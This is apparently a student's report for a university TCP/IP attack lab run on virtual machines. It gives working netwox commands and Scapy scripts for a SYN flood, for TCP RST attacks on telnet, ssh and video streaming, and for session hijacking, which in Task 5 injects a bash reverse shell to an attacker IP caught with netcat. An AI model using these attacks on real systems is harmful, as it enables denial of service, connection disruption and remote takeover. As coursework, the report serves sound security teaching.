Justin Gallagher

CSC 482

TCP/IP Attack Lab

The learning objective of this lab is for students to gain first-hand experience on TCP/IP vulnerabilities, as well as on attacks against these vulnerabilities. In this lab, we will experiment with terminating and hijacking TCP connections. The ease of hijacking TCP sessions is another reason why we need end-to-end encryption when we communicate over the Internet. We will use the Scapy library to read and write packets to and from the network in python code. All commands used in this lab are included within the lab report.

## Task 1: SYN Flooding Attack

In this task, we will demonstrate the SYN Flooding Attack and show that the attack is successful by capturing the attacking packets. I will use the `netwox` command along with `netstat` for this task. SYN flood is a form of DoS attack in which an attacker sends many SYN requests to a victim's TCP port to flood the queue with half-open connections that ultimately stop connectivity for the victim. To demonstrate this attack, I first start by opening the Attack, Seed, and Server VM's. This task asks us to perform the attack with and without SYN cookie mechanism. With this mechanism turned on, it prevents the attack from being successful. I will start by turning it off in my Server VM using this command: `sudo sysctl -w net.ipv4.tcp_syncookies=0` but will turn it on later in this task to show that it renders the attack useless. I then quickly check the IP address of my Server VM using the `ip addr` command and see that it is `10.2.3.38`. I then create a telnet connection between my Seed and Server VM's. I start by using this command: `telnet 10.2.3.38` in my Seed VM to make the connection with my Server VM. I provide the client's username and password (seed and dees), then the connection is made. Now, I go into my Attack VM and use the following command to start the attack: `sudo netwox 76 -i 10.2.3.38 -p 23`. This command will start the attack using the tool numbered 76, with the destination IP and port being given by the -i and -p options. Upon running the netwox command, I then went over to the Server VM to see if the attack was successful. I used the following netstat command that counted the amount of SYN packets that were being received by the Server VM: `netstat –na | grep RECV`. Upon running the command, I see that the number of packets is 97. We can also show these packets in the queue by using just the `netstat –na` command. To show the telnet connection will no longer work, I go back into the Seed VM and attack another telnet connection with Server. Trying to do so results in the following connection failure: `telnet: Unable to connect to remote host: Connection timed out`.

Now that I have shown the attack works without the SYN cookies mechanism, I will turn it on to demonstrate how the attack behaves. To turn it back on, I use this command in the Server VM: `sudo sysctl -w net.ipv4.tcp_syncookies=1`. I then repeat the same process as before (establishing the telnet connection, running netwox, then using netstat), and the result is that now the number of received packets is now 77. I also check to see if more telnet connection can be made to the Server VM, and upon running the command I find that I was successful. This shows that with the SYN cookies mechanism turned on, allocation of resources for half-opened connection will not take place. This results in an unsuccessful attack.

## Task 2: TCP RST Attacks on `telnet` and `ssh` Connections

In this task, we will use netwox and scapy to launch an TCP RST attack to break an existing telnet connection between victims A and B. We will also try the same attack on a ssh connection. We will begin with using netwox on a telnet connection. The number of the tool needed for this task is 78. I start by creating a telnet connection between the Seed and Server VM's. Once connected, I then go to the Attack VM and use the following command: sudo netwox –f "src 10.2.3.38". This command resets any TCP connection with a source from the IP address 10.2.3.38. Upon running the command, I check back on the Seed VM to see if the connection was still being made. I try to type a few commands and doing so resulted in the following error: `Connection closed by foreign host`. This shows that the telnet connection can be reset by an attacker using netwox. I will now show that the same can be done with a ssh connection. To make a ssh connection between Seed and Server, I use the following command: `ssh 10.2.3.38`. I provide the client's username and password (seed and dees), then the connection is made. I then go back to the Attack VM to run the netwox command. Upon running the command again, I go back to the Seed VM and attempt to run a few commands. This results in the following error: `packet_write_wait: Connection to 10.2.3.38 port 22: Broken pipe`. This shows that the ssh connection is terminated by the attack.

I will now move on to using Scapy. Code is provided by the lab which I typed up and saved as "reset.py" under the home/seed/labs/tcp directory. For the code to perform correctly, we must provide it information pertaining to the connection we wish to terminate. One way to gather this information is through packet sniffing. I have created a telnet connection between the Seed and Server VM's and in the Attack VM I have the code for "reset.py" pulled up. I also pulled up WireShark which will help in gathering the information. First, we need to identify the information needed. In the given file, we need to provide the source and destination IP's, their ports, the flag, sequence, and ack. Using WireShark, I set up a filter to capture packets that pertain to the Server VM: `host 10.2.3.38`. I then type a few commands in the Seed VM to generate some packets for the Attack VM's WireShark application to capture. After doing so, I check WireShark and see that there are multiple telnet and tcp packets. The packet that contains the information needed will be the TCP packet with the source being Seed and the destination being Server. Once I found the packet, I was able to enter in all the correct information into the python program. The code is shown below for the telnet connection:

```
#!/usr/bin/python
from scapy.all import *

ip = IP(src="10.2.3.27",dst="10.2.3.38")
tcp = TCP(sport=55000,dport=23,flags="R",seq=216130737,ack=1671388761)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
```

Once the code was complete, I then made the program an executable file using the `chmod a+x reset.py` command. Once that was done, I ran the program using the `sudo ./reset.py` command. Checking back on the telnet connection between Seed and Server, I see this error message pop up the moment I try to enter a command: `Connection closed by foreign host`. This shows that our code successfully closed the connection between Seed and Server. I will now demonstrate the same attack using Scapy but on a ssh connection. The attack will follow the same outline as the telnet, but this time we will use WireShark to find information pertaining to the ssh connection to use in our program. To begin, we start a ssh connection between the Seed and Server VM's. After doing so, I set up the WireShark application on the Attack VM to capture only packets pertaining to the Server VM. Once this is done, I go back to the Seed VM and type in a couple commands. This sends packets that are captured by the Attack VM's WireShark. The packet that contains the information needed will be the TCP packet with the source being Seed and the destination being Server. Once I found the packet, I was able to enter in all the correct information into the python program. The code is shown below for the ssh connection:

```
#!/usr/bin/python
from scapy.all import *

ip = IP(src="10.2.3.27",dst="10.2.3.38")
tcp = TCP(sport=52194,dport=22,flags="R",seq=111493026,ack=2038410105)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
```

Once the code was complete, I saved the changes and ran the program. Upon doing so, I checked back in the Seed VM and attempted to run a few commands but was met with this error: `packet_write_wait: Connection to 10.2.3.38 port 22: Broken pipe`. This shows that Scapy is also successful in terminating both the telnet and ssh connections using the TCP Reset attack.

## Task 3: TCP RST Attacks on Video Streaming Applications

In this task, we will show that we are able to use netwox to terminate the TCP connection made between a victim and a video streaming service. For this example, I decided to use Youtube as my video streaming application. In the Server VM, I loaded up a Youtube video and started playing it and in my Attack VM, I opened the terminal. I used the following netwox command that I slightly modified from task 2 (netwox on telnet connection) to interrupt the connection between Server and Youtube: `sudo netwox -f “host 10.2.3.38”`. Upon running the command, I check back in on the Server VM to see how the Youtube video is playing. It starts to buffer, which indicates the attack is working. We can also verify this by opening WireShark in the Attack VM and monitoring the incoming TCP packets pertaining to Server. Doing this shows that there are multiple packets marked in red, which is also an indication of a successful attack (these are packets that WireShark captures that it thinks are potentially problematic).

## Task 4: TCP Session Hijacking

In this task, we will use Scapy to inject malicious data into a session between two victims to allow us, the attacker, to hijack the connection. We start by establishing a telnet connection between the Seed and Server VM's. I then download the "hijacking_manual.py" file from the Canvas page to assist with this task. This program, if successful, will create a malicious file on the destination system once it has hijacked the connection. I used WireShark in the Attack VM to sniff for information needed for the program to work. I use a capture filter to filter out packets not pertaining to the telnet connection between Server and Seed. I start capturing and provide a few commands to the Seed VM to create traffic. Once that is done, I check WireShark for the packets containing the information needed. Once found, I input the data into the program. This is now what the following code looks like after adding in the data from WireShark:

```
#!/usr/bin/python3
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="10.2.3.27", dst="10.2.3.38")
tcp = TCP(sport=55004, dport=23, flags="A", seq=1243848785, ack=1523027185)
data = "\n touch /tmp/maliciousfile.txt\n"
pkt = ip/tcp/data
send(pkt, verbose=0)
```

Once the code was complete, I then made the program an executable file using the `chmod a+x hijacking_manual.py` command. Once that was done, I ran the program using the `sudo ./ hijacking_manual.py` command. Upon doing so, I was not met with any errors. To see if I was successful, I checked the Server VM for the malicious file that should have been planted in the /tmp directory. Upon checking, I see that it is there, and this confirms that we have successfully hijacked the connection.

## Task 5: Creating Reverse Shell using TCP Session Hijacking

In the last task, we will attempt to hijack a connection to gain access to reverse shell. To demonstrate this, I will create a telnet connection between Seed and Server. I then repeat the same process as before in task 4, but this time we will modify the data variable in the "hijacking_manual.py" so that it creates a reverse shell on the victim's machine. I first obtain the information about the telnet connection using WireShark then I modify the code to the following:

```
 #!/usr/bin/python3
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="10.2.3.27", dst="10.2.3.38")
tcp = TCP(sport=55006, dport=23, flags="A", seq=1809507134, ack=1811776735)
```

```
data = "\n /bin/bash -i > /dev/tcp/10.2.3.46/9090 0<&1 2>&1 \n"
pkt = ip/tcp/data
send(pkt, verbose=0)
```

Once the code was modified, I saved my changes. The data variable now holds a command that will start a bash shell with its input coming from the attack machine and the output being directed to the attack machine. To receive the data from the victim, we have to listen to port 9090 on the attacker VM using the following netcat command: `netcat -l 9090 -v`. After doing so, I then ran the "hijacking_manual.py" program. Upon doing so, I was prompted with the following in the terminal I had my netcat command running in: `Connection from [10.2.3.38] port 9090 [tcp/*] accepted (family 2, sport 46748)`. This confirms that the connection was hijacked, and the reverse shell created. We can also confirm this by checking the IP address on the Attack VM. It currently shows as `10.2.3.38`, so we know the reverse shell has been created successfully.